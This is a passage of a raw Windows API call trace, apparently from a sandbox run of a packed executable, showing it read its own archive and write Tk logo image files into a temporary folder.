(hostlong=0xd8220000) returned 0x22d8 [0044.453] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fcd58*=0x2000, lpOverlapped=0x0) returned 1 [0044.453] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x563370 [0044.453] ReadFile (in: hFile=0x10c, lpBuffer=0x563370, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x563370*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.453] htonl (hostlong=0xa16c0000) returned 0x6ca1 [0044.453] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6ca1) returned 0x564378 [0044.453] htonl (hostlong=0xd8220000) returned 0x22d8 [0044.453] htonl (hostlong=0xa16c0000) returned 0x6ca1 [0044.453] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x56b028 [0044.453] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x56b028 | out: hHeap=0x530000) returned 1 [0044.453] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.454] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563370 | out: hHeap=0x530000) returned 1 [0044.454] CloseHandle (hObject=0x10c) returned 1 [0044.454] GetLastError () returned 0x0 [0044.454] SetLastError (dwErrCode=0x0) [0044.454] GetLastError () returned 0x0 [0044.454] SetLastError (dwErrCode=0x0) [0044.454] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.454] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.454] GetFileType (hFile=0x10c) returned 0x1 [0044.454] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.454] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.454] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.454] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.454] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.454] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.454] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.454] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.454] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.454] CloseHandle (hObject=0x10c) returned 1 [0044.454] GetLastError () returned 0x0 [0044.454] SetLastError (dwErrCode=0x0) [0044.454] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images") returned 55 [0044.454] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.454] GetFileType (hFile=0x10c) returned 0x1 [0044.454] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.455] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.455] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.455] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.455] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.455] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.455] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.455] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.455] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.455] CloseHandle (hObject=0x10c) returned 1 [0044.455] GetLastError () returned 0x0 [0044.455] SetLastError (dwErrCode=0x0) [0044.455] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo.eps") returned 68 [0044.455] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo.eps" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images\\pwrdlogo.eps"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.455] GetLastError () returned 0x2 [0044.455] SetLastError (dwErrCode=0x2) [0044.455] GetLastError () returned 0x2 [0044.455] SetLastError (dwErrCode=0x2) [0044.455] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo.eps", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo.eps", lpFilePart=0x0) returned 0x43 [0044.455] GetLastError () returned 0x2 [0044.455] SetLastError (dwErrCode=0x2) [0044.455] GetLastError () returned 0x2 [0044.455] SetLastError (dwErrCode=0x2) [0044.455] GetLastError () returned 0x2 [0044.455] SetLastError (dwErrCode=0x2) [0044.455] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo.eps") returned 68 [0044.455] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.455] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo.eps" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images\\pwrdlogo.eps"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.456] GetFileType (hFile=0x10c) returned 0x1 [0044.456] htonl (hostlong=0xa16c0000) returned 0x6ca1 [0044.456] WriteFile (in: hFile=0x10c, lpBuffer=0x564378*, nNumberOfBytesToWrite=0x6000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x564378*, lpNumberOfBytesWritten=0x4fcd00*=0x6000, lpOverlapped=0x0) returned 1 [0044.457] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.457] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xca1, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xca1, lpOverlapped=0x0) returned 1 [0044.457] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.457] CloseHandle (hObject=0x10c) returned 1 [0044.457] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x564378 | out: hHeap=0x530000) returned 1 [0044.458] htonl (hostlong=0x30000000) returned 0x30 [0044.458] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.458] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.458] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.458] GetFileType (hFile=0x10c) returned 0x1 [0044.458] htonl (hostlong=0x2b605e00) returned 0x5e602b [0044.458] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x63102b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.458] htonl (hostlong=0x18060000) returned 0x618 [0044.458] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x618) returned 0x550600 [0044.458] htonl (hostlong=0x18060000) returned 0x618 [0044.458] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.459] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.459] htonl (hostlong=0x4f060000) returned 0x64f [0044.459] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x64f) returned 0x55e278 [0044.459] htonl (hostlong=0x18060000) returned 0x618 [0044.459] htonl (hostlong=0x4f060000) returned 0x64f [0044.459] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0044.459] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.459] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0044.459] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.459] CloseHandle (hObject=0x10c) returned 1 [0044.459] GetLastError () returned 0x0 [0044.459] SetLastError (dwErrCode=0x0) [0044.460] GetLastError () returned 0x0 [0044.460] SetLastError (dwErrCode=0x0) [0044.460] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.460] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.460] GetFileType (hFile=0x10c) returned 0x1 [0044.460] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.460] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.460] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.460] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.460] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.460] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.460] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.460] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.460] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.460] CloseHandle (hObject=0x10c) returned 1 [0044.460] GetLastError () returned 0x0 [0044.460] SetLastError (dwErrCode=0x0) [0044.460] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images") returned 55 [0044.460] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.460] GetFileType (hFile=0x10c) returned 0x1 [0044.460] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.460] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.460] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.460] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.460] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.461] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.461] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.461] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.461] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.461] CloseHandle (hObject=0x10c) returned 1 [0044.461] GetLastError () returned 0x0 [0044.461] SetLastError (dwErrCode=0x0) [0044.461] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo100.gif") returned 71 [0044.461] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo100.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images\\pwrdlogo100.gif"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.461] GetLastError () returned 0x2 [0044.461] SetLastError (dwErrCode=0x2) [0044.461] GetLastError () returned 0x2 [0044.461] SetLastError (dwErrCode=0x2) [0044.461] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo100.gif", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo100.gif", lpFilePart=0x0) returned 0x46 [0044.461] GetLastError () returned 0x2 [0044.461] SetLastError (dwErrCode=0x2) [0044.461] GetLastError () returned 0x2 [0044.461] SetLastError (dwErrCode=0x2) [0044.461] GetLastError () returned 0x2 [0044.461] SetLastError (dwErrCode=0x2) [0044.461] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo100.gif") returned 71 [0044.461] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.461] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo100.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images\\pwrdlogo100.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.461] GetFileType (hFile=0x10c) returned 0x1 [0044.462] htonl (hostlong=0x4f060000) returned 0x64f [0044.462] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.462] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x64f, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x64f, lpOverlapped=0x0) returned 1 [0044.462] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.462] CloseHandle (hObject=0x10c) returned 1 [0044.463] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.463] htonl (hostlong=0x30000000) returned 0x30 [0044.463] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.463] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.463] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.463] GetFileType (hFile=0x10c) returned 0x1 [0044.463] htonl (hostlong=0x43665e00) returned 0x5e6643 [0044.463] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x631643, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.463] htonl (hostlong=0x88090000) returned 0x988 [0044.463] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x988) returned 0x55e278 [0044.463] htonl (hostlong=0x88090000) returned 0x988 [0044.463] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.463] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.463] htonl (hostlong=0xb9090000) returned 0x9b9 [0044.463] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9b9) returned 0x562098 [0044.463] htonl (hostlong=0x88090000) returned 0x988 [0044.463] htonl (hostlong=0xb9090000) returned 0x9b9 [0044.463] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562a60 [0044.463] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562a60 | out: hHeap=0x530000) returned 1 [0044.463] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.463] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.463] CloseHandle (hObject=0x10c) returned 1 [0044.463] GetLastError () returned 0x0 [0044.463] SetLastError (dwErrCode=0x0) [0044.464] GetLastError () returned 0x0 [0044.464] SetLastError (dwErrCode=0x0) [0044.464] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.464] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.464] GetFileType (hFile=0x10c) returned 0x1 [0044.464] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.464] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.464] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.464] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.464] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.464] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.464] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.464] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.464] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.464] CloseHandle (hObject=0x10c) returned 1 [0044.464] GetLastError () returned 0x0 [0044.464] SetLastError (dwErrCode=0x0) [0044.464] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images") returned 55 [0044.464] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.464] GetFileType (hFile=0x10c) returned 0x1 [0044.464] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.464] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.464] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.464] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.464] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.465] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.465] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.465] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.465] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 